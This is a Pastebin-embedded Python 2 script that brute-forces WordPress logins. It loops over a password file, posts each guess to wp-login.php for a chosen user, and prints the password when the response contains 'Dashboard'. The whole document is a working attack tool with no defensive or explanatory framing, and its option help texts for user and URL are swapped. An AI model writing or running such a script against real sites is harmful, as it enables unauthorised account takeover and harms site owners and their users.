document.write('
Data hosted with ♥ by Pastebin.com - Download Raw - See Original
  1. import sys
  2. import requests
  3.  
  4. def make_login(user, password, wp_url):
  5.         post_requests = {"log":user , "pwd":password}
  6.         r = requests.post("http://" + wp_url + "wp-login.php", data=post_requests)
  7.         output = r.text
  8.  
  9.         if output.find("Dashboard") > 0:
  10.                 return True
  11.         else:
  12.                 return False
  13.  
  14. def main(options):
  15.         wp_user = options.wp_user
  16.         wp_url = options.wp_url
  17.         pass_file_path = options.pass_file_path
  18.  
  19.         f = open(pass_file_path)
  20.         passwords = f.read().splitlines()
  21.         f.close()
  22.  
  23.         for password in passwords:
  24.                 print "."
  25.                 if make_login(wp_user, password, wp_url):
  26.                         print "Ohhh Yeaaaah! the password is: " + password
  27.  
  28. if __name__ == "__main__":
  29.         from optparse import OptionParser
  30.  
  31.         usage = "Usage: %prog <params>"
  32.         parser = OptionParser(usage=usage)
  33.         parser.add_option("--wpuser", dest="wp_user",
  34.         help="The url to connect to")
  35.         parser.add_option("--url", dest="wp_url",
  36.         help="The username used to brutforce")
  37.         parser.add_option("--pass-file", dest="pass_file_path",
  38.         help="File with a list of passwords",
  39.         default="rainbow.txt")
  40.  
  41.         (options, args) = parser.parse_args()
  42.         if options.wp_user is None:
  43.                 print("Error: You must specify a user name")
  44.                 parser.print_help()
  45.                 sys.exit(1)
  46.  
  47.         if options.wp_url is None:
  48.                 print("Error: You must specify a url")
  49.                 parser.print_help()
  50.                 sys.exit(1)
  51.  
  52.         main(options)
');